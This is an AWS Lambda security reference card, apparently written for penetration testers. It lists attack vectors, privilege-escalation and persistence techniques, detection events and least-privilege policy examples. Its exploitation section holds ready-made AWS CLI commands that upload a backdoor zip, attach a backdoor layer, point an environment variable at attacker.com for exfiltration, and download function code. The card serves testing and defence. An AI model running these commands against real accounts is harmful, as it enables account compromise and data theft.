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    AWS lambda

    AWS Lambda Security

    SERVERLESS

    Lambda provides serverless function execution with execution roles controlling permissions. Over-privileged roles and secrets in environment variables are the primary attack vectors.

    HIGH
    Risk Level
    Regional
    Scope
    15 min
    Max Timeout
    Roles
    Execution

    📋Service Overview

    Execution Environment

    Lambda functions run in isolated containers with temporary credentials from the execution role. Environment variables, layers, and event data can all contain sensitive information.

    Attack note: Execution roles are often overly permissive with broad S3, DynamoDB, or Secrets Manager access

    Triggers & Access

    Functions can be triggered by API Gateway, S3, SQS, EventBridge, and more. Function URLs provide direct HTTP access without API Gateway.

    Attack note: Function URLs with NONE auth type are publicly accessible

    Security Risk Assessment

    LowMediumHighCritical
    7.5
    Risk Score

    Lambda functions with over-privileged execution roles can be abused for credential theft and privilege escalation. Secrets in environment variables and code injection via event data are common vulnerabilities.

    ⚔️Attack Vectors

    Credential Theft

    • •Over-privileged execution roles
    • •Secrets in environment variables
    • •Steal credentials from context
    • •Function code with hardcoded keys
    • •Layer contains sensitive data

    Code Exploitation

    • •Code injection via event data
    • •Dependency vulnerabilities
    • •Malicious layers
    • •Function URL without auth
    • •Deserialization attacks

    ⚠️Misconfigurations

    IAM Issues

    • •Execution role with * permissions
    • •PassRole to any role
    • •Cross-account invoke allowed
    • •No resource-based policy
    • •Unused high-privilege roles

    Security Settings

    • •Function URL auth type NONE
    • •Secrets in plaintext env vars
    • •Outdated runtime versions
    • •No VPC configuration
    • •Code signing not enforced

    🔍Enumeration

    List All Functions
    aws lambda list-functions
    Get Function Details
    aws lambda get-function \
  --function-name NAME
    Get Environment Variables
    aws lambda get-function-configuration \
  --function-name NAME
    List Layers
    aws lambda list-layers
    Get Function Policy
    aws lambda get-policy --function-name NAME

    📈Privilege Escalation

    Function Abuse

    • •Invoke to steal role credentials
    • •Modify function code for backdoor
    • •Update configuration for exfil
    • •Attach permissive layer
    • •Create function with admin role

    Role Abuse

    • •PassRole to Lambda + CreateFunction
    • •Use execution role externally
    • •Chain to higher privilege role
    • •Access Secrets Manager
    • •Read from privileged S3

    Key insight: Lambda execution roles often have access to Secrets Manager, DynamoDB, and S3 with sensitive data.

    🔗Persistence

    Code Modification

    • •Update function code with backdoor
    • •Add malicious layer
    • •Modify environment variables
    • •Create new function version
    • •Update alias to backdoored version

    Trigger-Based

    • •Create S3 trigger for exfil
    • •Add SQS event source mapping
    • •EventBridge scheduled execution
    • •API Gateway endpoint
    • •CloudWatch Events rule

    🛡️Detection

    CloudTrail Events

    • •UpdateFunctionCode
    • •UpdateFunctionConfiguration
    • •CreateFunction
    • •AddLayerVersionPermission
    • •CreateEventSourceMapping

    Indicators of Compromise

    • •Function code changes without deploy
    • •New layers attached
    • •Unusual invocation patterns
    • •External IP in VPC flow logs
    • •Execution role used from odd IPs

    💻Exploitation Commands

    Invoke Function
    aws lambda invoke \
  --function-name NAME \
  --payload '{"cmd":"id"}' output.txt
    Update Function Code
    aws lambda update-function-code \
  --function-name NAME \
  --zip-file fileb://backdoor.zip
    Modify Environment Variables
    aws lambda update-function-configuration \
  --function-name NAME \
  --environment 'Variables={EXFIL=attacker.com}'
    Add Malicious Layer
    aws lambda update-function-configuration \
  --function-name NAME \
  --layers arn:aws:lambda:REGION:ACCOUNT:layer:backdoor:1
    Get Function Code (Download)
    aws lambda get-function --function-name NAME \
  --query 'Code.Location' --output text | xargs curl -o code.zip
    Create Event Source Mapping
    aws lambda create-event-source-mapping \
  --function-name NAME \
  --event-source-arn arn:aws:sqs:REGION:ACCOUNT:queue

    📜Lambda Execution Role Examples

    ✗Dangerous - Full Access
    {
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

    Function has FULL AWS access - complete account compromise

    ✓Secure - Least Privilege
    {
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["s3:GetObject"],
    "Resource": "arn:aws:s3:::my-bucket/input/*"
  }, {
    "Effect": "Allow",
    "Action": ["logs:CreateLogStream", "logs:PutLogEvents"],
    "Resource": "arn:aws:logs:*:*:log-group:/aws/lambda/my-func:*"
  }]
}

    Only specific S3 read and CloudWatch Logs access

    ✗Dangerous - PassRole
    {
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "iam:PassRole",
    "Resource": "*"
  }]
}

    Can pass any role to any service - privilege escalation

    ✓Secure - Resource Policy
    {
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::123456789012:role/APIGatewayRole"},
    "Action": "lambda:InvokeFunction",
    "Resource": "arn:aws:lambda:us-east-1:123456789012:function:my-func"
  }]
}

    Only specific API Gateway role can invoke the function

    🛡️Defense Recommendations

    🔐

    Least Privilege Roles

    Scope permissions to exact resources and actions needed.

    "Resource": "arn:aws:s3:::my-bucket/prefix/*"
    🚫

    Use Secrets Manager

    Never store secrets in environment variables.

    aws secretsmanager get-secret-value \
  --secret-id my-api-key
    🔒

    Function URL IAM Auth

    Require IAM authentication for function URLs.

    --auth-type AWS_IAM (not NONE)
    📝

    Resource Policies

    Restrict who can invoke the function.

    "Principal": {"AWS": "arn:aws:iam::ACCOUNT:role/AllowedRole"}
    🌐

    VPC Isolation

    Run functions in private VPC subnets when possible.

    --vpc-config SubnetIds=subnet-xxx,\
SecurityGroupIds=sg-xxx
    🔍

    Code Signing

    Only allow signed code packages to be deployed.

    aws lambda create-code-signing-config \
  --allowed-publishers SigningProfileVersionArns=...

    AWS Lambda Security Card • Toc Consulting

    Always obtain proper authorization before testing